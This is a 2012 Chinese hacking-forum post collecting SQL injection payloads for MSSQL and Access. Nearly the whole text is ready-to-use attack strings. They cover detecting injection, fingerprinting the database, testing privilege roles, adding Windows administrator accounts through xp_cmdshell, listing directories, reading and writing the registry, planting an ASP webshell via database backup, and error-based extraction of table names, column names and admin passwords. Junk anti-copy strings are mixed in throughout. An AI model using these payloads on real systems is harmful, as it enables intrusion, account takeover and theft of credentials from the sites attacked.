找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2096|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
2 X; F1 c% Y, c, J$ X) Y;and 1=1
" p2 b0 d2 I8 l8 ~! [;and 1=2 ! ^, I, n* E$ e+ A" F) ^
( w0 G# i8 I1 S* k* U: y( x) E
2.初步判断是否是mssql   k5 f% K) V) p. M7 Y
;and user>0
3 I2 ?# n0 `  ]' g# B! z5 q7 G
+ l1 u. S6 i6 d  O7 A3.判断数据库系统 , @1 A9 q2 \% ~' M+ e1 M
;and (select count(*) from sysobjects)>0 mssql . I# a" p( \$ E
;and (select count(*) from msysobjects)>0 access
/ O$ \" w% D: A9 ]
' M0 H+ l7 t8 N2 N- b4.注入参数是字符 # x4 e+ R/ `/ l( _) o/ m! |
'and [查询条件] and ''='
( b) Q, _/ B. Z1 u) C3 K/ N' t9 `7 t( [! I. F' H! Q8 C4 m, @
5.搜索时没过滤参数的 / R( j, S% ~$ a/ m# j
'and [查询条件] and '%25'=' 5 @% z" `: A; o
- M; Y  q9 B8 ^- W2 n) ^! W
6.猜数表名
' z' ?, H& H6 ?2 n;and (select Count(*) from [表名])>0
$ O9 P- i* X1 K  Z
: c) A) i. p) ]5 _7 d! A+ w7.猜字段 5 T8 T5 ]  V; Q7 ^) g
;and (select Count(字段名) from 表名)>0   j6 `3 y: l* v4 `
: u. Y$ A: f3 M* P$ W0 o8 }
8.猜字段中记录长度 " D. ~- u8 o. ~8 S  ]
;and (select top 1 len(字段名) from 表名)>0
/ J# k. T. S3 }  ], c8 a6 H3 h
8 T  X' F/ _( m7 I9.(1)猜字段的ascii值(access)
( ~3 N8 F3 i: `;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
  z/ {7 g- C) z" K
' d5 F+ }- X7 \7 D' {3 t(2)猜字段的ascii值(mssql)
9 w3 a/ `* J# D7 T;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
; X& j1 |) L' r# W/ B0 I5 K& }& h
' i2 v8 y& `% B, N6 `/ \: S10.测试权限结构(mssql) " f1 v% K1 D0 ~! z2 U! Q
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- / _; f! l* ]1 i0 L- H% H
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- / ]6 F% E. U0 j8 q, k0 P$ ]. [
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 4 p- o, l: T2 n: A, z3 z
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- * V0 k! U# t; L, J, z+ s% v) W
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 0 J7 r0 T0 `" A$ p7 x. M
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- - Y6 ?- T1 }$ {. M, _
;and 1=(select IS_MEMBER('db_owner'));-- 1 P4 R; \' Z; {1 h5 d) z

' H: K3 B+ k- f$ b5 z11.添加mssql和系统的帐户 - |/ F& E* W3 h( Z8 {, h0 U
;exec master.dbo.sp_addlogin username;--
1 h# O. B+ C6 g( z;exec master.dbo.sp_password null,username,password;--
+ R8 t/ \4 v' K+ J! b! k;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 2 O+ T7 O% p5 {& n! O
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
# k) a, V  V( `2 Q' Q;exec master.dbo.xp_cmdshell 'net user username password /add';-- 9 K, \2 F+ W9 i8 S( Y6 ?3 ?0 o
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
, y( h! y: U+ B) u5 G3 J
$ y* E- T9 @- [, [12.(1)遍历目录   g+ }0 U4 k& `; K! T! U& p' C
;create table dirs(paths varchar(100), id int)
4 t4 E: K. M  m" p;insert dirs exec master.dbo.xp_dirtree 'c:\' ' W1 U' ?" R  V
;and (select top 1 paths from dirs)>0
: D6 [+ I  \9 l3 |( Z6 \;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
9 ]! `* w  l6 ]* B+ P) E' h4 R* p! m0 `2 `
(2)遍历目录 ( d5 O( F+ l8 l. V2 N
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
5 n7 g$ B% F5 g. J;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
7 q; Y7 N; D; c;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
1 ^2 w$ Q% n0 E$ r;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
; u# v: a) f' `' q5 e* k& E;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
9 A2 L3 |. k1 a- ~, t6 c1 j2 V3 V' O& S* L' n
13.mssql中的存储过程
+ H0 n1 i7 G" Ixp_regenumvalues 注册表根键, 子键
7 h; q+ @  U; u;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
7 q2 i3 T0 R. i4 T. Xxp_regread 根键,子键,键值名
/ B% ?! `9 W" V  x# v;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 " s4 `/ G  E% `! |
xp_regwrite 根键,子键, 值名, 值类型, 值
- C0 A, m! U  ^1 I0 U+ e0 V值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 , M9 t2 t. @: t5 d- t. Z1 G6 x
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 ' D/ M( V7 N6 H: _! C4 }$ f
xp_regdeletevalue 根键,子键,值名
" v0 d  M1 j6 L; C- Iexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 6 d* X7 }  K& R; i
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 % f1 P5 {. M& \, l/ p: z  y" l

7 D6 @& `4 E: R. @% i14.mssql的backup创建webshell
1 |1 b% p  ]3 Iuse model ( P! o  s6 ~( T
create table cmd(str image);
! n. k5 @1 Z' f0 R% H3 a+ finsert into cmd(str) values ('<% Dim oScript %>'); 2 }8 ~$ G$ L- x5 H: l: i
backup database model to disk='c:\l.asp'; : y1 V( j6 S) A9 n. L1 @" D8 B; O7 A

3 U9 s6 M$ P+ y, t+ O/ v1 _15.mssql内置函数
2 F8 Z. B8 m( \/ F+ W& b;and (select @@version)>0 获得Windows的版本号 - J+ u7 L' ^! R6 {7 S
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
1 U. q$ o9 L+ b+ G- k9 v7 u) m& [;and (select user_name())>0 爆当前系统的连接用户
8 z# p; b2 P6 F0 U4 b7 n& @;and (select db_name())>0 得到当前连接的数据库 # _* h2 Q5 B% c/ f! N; U) J
; F! {/ H) M+ A. I$ N
7 f2 h* O6 Y6 t" F
; \9 E& Z# U7 P) j! h
MSSQL手注暴库
0 |8 Z1 L8 s  K, a+ u1 z& X9 i" _9 B9 u$ P7 w; o4 q* S6 a9 a
1.暴出当前表名和列名
( j  r/ I# E" `% n) p- S$ k% j在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。% R7 S  s% B+ W8 j( L* ]
" V! n1 t' D2 ?, {1 J) r
第一.爆出所有数据库名9 d# w, g  Z8 S# F9 E2 E
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。' V8 d1 E; I$ K+ e2 F( R/ g
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
0 O: ]3 x4 m: e/ X7 X) u
8 R, {( k% G9 ~4 V3 u  X3 r4 {& o; S8 q! Hand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名+ a. q+ L" |/ c3 K- o" s% p
( i% y% u$ z3 J( G' Z; {
9 L) c! ]# c1 k* X  B
第二.爆出指定库中的所有表名
* v$ y' n8 o, k- Z* v& ]得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
  v9 S+ ~) n( n$ X! m$ n再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
# N0 E6 E& o* |: e$ i, r' G- U  d/ M0 ^% \- q* }  \3 [$ D# h
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--% s2 |0 `$ f) J, l5 i
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
' U, D1 l4 R/ W5 vand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--; P! d! L# c1 N4 j8 z. c
5 d# z0 E- |# s" Y& l$ y
4.爆出指定表中的所有列名
* z* V( Z( R" h9 p+ W- A: Cand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
+ C4 T/ S# D5 w4 a//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
! i, \6 p( o$ U5 X- h
  K3 B. ]$ s) J; {1 _4 ^: d! ^; `and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
0 \$ z" W* D# d" v" O; x
6 \# P: T, L* c  q再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- ( G, s( l8 e6 J( W5 N- m
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。. o, f' h0 ~% \  }4 G9 ?2 j

( ]9 Z# Z# V0 E& k0 H5 G" N
0 ~* f% F; }" _  U$ uand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值& Z5 V$ c2 d* O4 p; v2 q

: R% e( x1 N6 K! A9 {& Y- a" tand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
" r0 i1 R1 }+ M3 L; P
& ^/ L  [% v. U( S- o: {7 Y. [and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- % |" K; v( Q( `  J

+ U/ A* E) n5 X/ A8 ~% P
" G2 M% }9 M) h+ [
6 z( k- M! ~2 z! i( B7 C! g5.读取指定表中的数据* @- B" E- k) N; c1 p) s, t# w

) Q7 ?! V! _% V; F6 E7 ~- A- {- Qand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
6 r) C& M1 y; F  J) g$ V* [
# S( D# |  {+ S) U; dand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
! d' V! [2 S$ B# d9 b# n# g
% M( z: ?7 i7 M* Aand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
- ^1 I6 F7 l. l: L$ V' v- E( q7 e, h8 C) d, ?5 X

% d, L- e6 U' [. [( n5 [/ `and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)# L' A" |& \9 C3 `& L

0 D) X7 k8 ^5 j% }! Zand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
- _2 ^6 e/ z4 w$ [
$ }6 s6 c/ c5 o6 u& z2 Rand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
9 G2 g, G) ^9 U$ ~2 a' e. [. u8 {+ C) _. D4 ]7 O6 o6 h
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
' N" L  q+ o7 ?- c/ A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表